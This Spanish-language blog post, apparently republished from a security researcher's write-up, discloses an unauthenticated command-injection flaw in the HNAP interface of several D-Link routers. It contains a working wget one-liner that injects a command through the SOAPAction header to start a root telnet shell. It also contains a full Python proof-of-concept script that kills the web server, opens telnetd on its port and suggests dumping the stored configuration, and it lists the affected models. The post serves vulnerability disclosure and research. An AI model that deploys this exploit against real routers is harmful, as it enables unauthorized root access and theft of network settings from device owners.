Tienda Wifi

Tienda Wifi
CiudadWireless es la tienda Wifi recomendada por elhacker.NET

Buscador

Entradas Mensuales

Suscripción

¿Quieres recibir las últimas novedades del blog en tu correo?

¡Suscríbete al feed!

Foro de elhacker.net - Noticias

elhacker.NET en Facebook

Entradas populares

PostHeaderIcon Firmware vulnerable de algunos Routers D-Link DIR




El fabricante D-Link lanzó recientemente su router tope de gama, el modelo D-Link DIR-890L, su primer router tri-banda y con tecnología inalámbrica 802.11ac, con un firmware que deja mucho que desear respecto a su seguridad.






Parece que la imagen del firmware  basada en Linux. de los routers D-Link es bastante similar en los últimos años.


Es probable que reconozca la estructura del directorios:

 $ ls squashfs-root
bin  dev  etc  home  htdocs  include  lib  mnt  mydlink  proc  sbin  sys  tmp  usr  var  www

Toda el material de  HTTP / UPnP / HNAP se encuentra en el directorio htdocs. El archivo más interesante aquí es htdocs / bin cgi, un binario ELF ARM que es ejecutado por el servidor web para, bueno, casi todo: todo como CGI, UPnP, y HNAP URLs relacionadas son un enlace simbólico a éste binario:

$ ls -l htdocs/web/*.cgi
lrwxrwxrwx 1 eve eve 14 Mar 31 22:46 htdocs/web/captcha.cgi -> /htdocs/cgibin
lrwxrwxrwx 1 eve eve 14 Mar 31 22:46 htdocs/web/conntrack.cgi -> /htdocs/cgibin
lrwxrwxrwx 1 eve eve 14 Mar 31 22:46 htdocs/web/dlapn.cgi -> /htdocs/cgibin
lrwxrwxrwx 1 eve eve 14 Mar 31 22:46 htdocs/web/dlcfg.cgi -> /htdocs/cgibin
lrwxrwxrwx 1 eve eve 14 Mar 31 22:46 htdocs/web/dldongle.cgi -> /htdocs/cgibin
lrwxrwxrwx 1 eve eve 14 Mar 31 22:46 htdocs/web/fwup.cgi -> /htdocs/cgibin
lrwxrwxrwx 1 eve eve 14 Mar 31 22:46 htdocs/web/fwupload.cgi -> /htdocs/cgibin
lrwxrwxrwx 1 eve eve 14 Mar 31 22:46 htdocs/web/hedwig.cgi -> /htdocs/cgibin
lrwxrwxrwx 1 eve eve 14 Mar 31 22:46 htdocs/web/pigwidgeon.cgi -> /htdocs/cgibin
lrwxrwxrwx 1 eve eve 14 Mar 31 22:46 htdocs/web/seama.cgi -> /htdocs/cgibin
lrwxrwxrwx 1 eve eve 14 Mar 31 22:46 htdocs/web/service.cgi -> /htdocs/cgibin
lrwxrwxrwx 1 eve eve 14 Mar 31 22:46 htdocs/web/webfa_authentication.cgi -> /htdocs/cgibin
lrwxrwxrwx 1 eve eve 14 Mar 31 22:46 htdocs/web/webfa_authentication_logout.cgi -> /htdocs/cgibin

Ahora que tenemos algunas de las funciones de alto nivel identificados, vamos a empezar la caza de errores.

Otros dispositivos D-Link ejecutan esencialmente el mismo firmware previamente han sido explotadas a través tanto de su HTTP y las interfaces de UPnP. Sin embargo, la interfaz HNAP, que es manejado por la función principal HNAP en bin cgi, parece haber sido pasado por alto en su mayoría. 

HNAP (Protocolo de Administración de Red Doméstica) es un protocolo basado en SOAP, similar a UPnP, que es comúnmente utilizado por las utilidades de configuración "EZ" de D-Link para configurar inicialmente el router. A diferencia de UPnP sin embargo, todas las acciones HNAP, con la excepción de GetDeviceInfo (que es básicamente inútil), requieren autenticación HTTP básica:

POST /HNAP1 HTTP/1.1
Host: 192.168.0.1
Authorization: Basic YWMEHZY+
Content-Type: text/xml; charset=utf-8
Content-Length: length
 
xml version="1.0" encoding="utf-8"?>
 <soap:Body>
  <AddPortMapping xmlns="http://purenetworks.com/HNAP1/">
   <PortMappingDescription>foobar</PortMappingDescription>
   <InternalClient>192.168.0.100</InternalClient>
   <PortMappingProtocol>TCP</PortMappingProtocol>
   <ExternalPort>1234</ExternalPort>
   <InternalPort>1234</InternalPort>
  </AddPortMapping>
 </soap:Body>
</soap:Envelope>

La cabecera SOAPAction es de particular importancia en una solicitud HNAP, porque especifica que se deben tomar medidas HNAP (AddPortMapping en el ejemplo anterior).

Desde bin cgi se ejecuta como un CGI por el servidor web, hnap_main accede a datos de la solicitud HNAP, como el encabezado SOAPAction, a través de variables de entorno: 


Claramente, hnap_main está utilizando los datos de la cabecera SOAPAction como parte del comando del sistema! Esto es un error de inyección de comandos prometedor, si no se sanitizan los contenidos de la cabecera SOAPAction, y si podemos entrar en este bloque de código sin autenticación.

 Volviendo al comienzo de hnap_main, uno de los primeros controles que hace es para ver si el encabezado SOAPAction es igual a la cadena http://purenetworks.com/HNAP1/GetDeviceSettings; si es así, entonces se omite la comprobación de autenticación. Se espera, como ya hemos establecido que la acción GetDeviceSettings no requiere autenticación:

Sin embargo, tenga en cuenta que strstr se utiliza para esta comprobación, que sólo indica que la cabecera SOAPAction contiene la cadena http://purenetworks.com/HNAP1/GetDeviceSettings, no es que la cabecera es igual a la cadena.

Así que, si el encabezado SOAPAction contiene los http://purenetworks.com/HNAP1/GetDeviceSettings cuerda, el código luego procede a analizar el nombre de la acción (por ejemplo, GetDeviceSettings) de la cabecera y de quitar cualquier arrastran comillas dobles.


/* Build the command using the specified SOAPAction string and execute it */
sprintf(command, "sh %s%s.sh > /dev/console", "/var/run/", SOAPAction);
system(command);
Las dos cosas importantes que hay aquí son:

  • No hay verificación de autenticación si el encabezado SOAPAction contiene la cadena http://purenetworks.com/HNAP1/GetDeviceSettings
  • La cadena que se pasa a sprintf (y en última instancia del sistema) es todo después de la última barra diagonal en la cabecera SOAPAction

Por lo tanto, podemos formatear fácilmente una cabecera SOAPAction que tanto satisface el "no autenticación" de verificación, y nos permite pasar una cadena arbitraria de sistema:

 Lo interpretaría como:

system("sh /var/run/`reboot`.sh > /dev/console");

Reemplazando "reboot" con "telnetd" genera un servidor telnet que provee una shell de root no autenticado: 

$ wget --header='SOAPAction: "http://purenetworks.com/HNAP1/GetDeviceSettings/`telnetd`"' http://192.168.0.1/HNAP1
$ telnet 192.168.0.1
Trying 192.168.0.1...
Connected to 192.168.0.1.
Escape character is '^]'.
 
 
BusyBox v1.14.1 (2015-02-11 17:15:51 CST) built-in shell (msh)
Enter 'help' for a list of built-in commands.
 
#

Si la administración remota está habilitada, las solicitudes HNAP son honrados desde la WAN, por lo que la explotación remota posible. Por supuesto, el firewall del router bloquea las conexiones Telnet entrantes de la WAN; una solución sencilla consiste en acabar con el servidor HTTP y generar su servidor telnet en cualquier puerto del servidor HTTP se obliga a hacerlo.

 Python PoC


#!/usr/bin/env python
 
import sys
import urllib2
import httplib
 
try:
    ip_port = sys.argv[1].split(':')
    ip = ip_port[0]
 
    if len(ip_port) == 2:
        port = ip_port[1]
    elif len(ip_port) == 1:
        port = "80"
    else:
        raise IndexError
except IndexError:
    print "Usage: %s " % sys.argv[0]
    sys.exit(1)
 
url = "http://%s:%s/HNAP1" % (ip, port)
# NOTE: If exploiting from the LAN, telnetd can be started on
#       any port; killing the http server and re-using its port
#       is not necessary.
#
#       Killing off all hung hnap processes ensures that we can
#       re-start httpd later.
command = "killall httpd; killall hnap; telnetd -p %s" % port
headers = {
            "SOAPAction"    : '"http://purenetworks.com/HNAP1/GetDeviceSettings/`%s`"' % command,
          }
 
req = urllib2.Request(url, None, headers)
try:
    urllib2.urlopen(req)
    raise Exception("Unexpected response")
except httplib.BadStatusLine:
    print "Exploit sent, try telnetting to %s:%s!" % (ip, port)
    print "To dump all system settings, run (no quotes): 'xmldbc -d /var/config.xml; cat /var/config.xml'"
    sys.exit(0)
except Exception:
    print "Received an unexpected response from the server; exploit probably failed. :("
No hay ninguna manera de desactivar HNAP en cualquiera de estos dispositivos.

Los últimos parches (patchs) del firmware de D-LINK


No solucionan el problema:

http://www.devttys0.com/2015/04/what-the-ridiculous-fuck-d-link/

Algunos de los modelos de routers afectados D-LINK

  • DAP-1522 revB
  • DAP-1650 revB
  • DIR-880L
  • DIR-865L
  • DIR-860L revA
  • DIR-860L revB
  • DIR-890L
  • DIR-815 revB
  • DIR-300 revB
  • DIR-600 revB
  • DIR-645
  • TEW-751DR
  • TEW-733GR

Fuente:
http://www.devttys0.com/2015/04/hacking-the-d-link-dir-890l/


0 comentarios :

Publicar un comentario

Los comentarios pueden ser revisados en cualquier momento por los moderadores.

Serán publicados aquellos que cumplan las siguientes condiciones:
- Comentario acorde al contenido del post.
- Prohibido mensajes de tipo SPAM.
- Evite incluir links innecesarios en su comentario.
- Contenidos ofensivos, amenazas e insultos no serán permitidos.

Debe saber que los comentarios de los lectores no reflejan necesariamente la opinión del STAFF.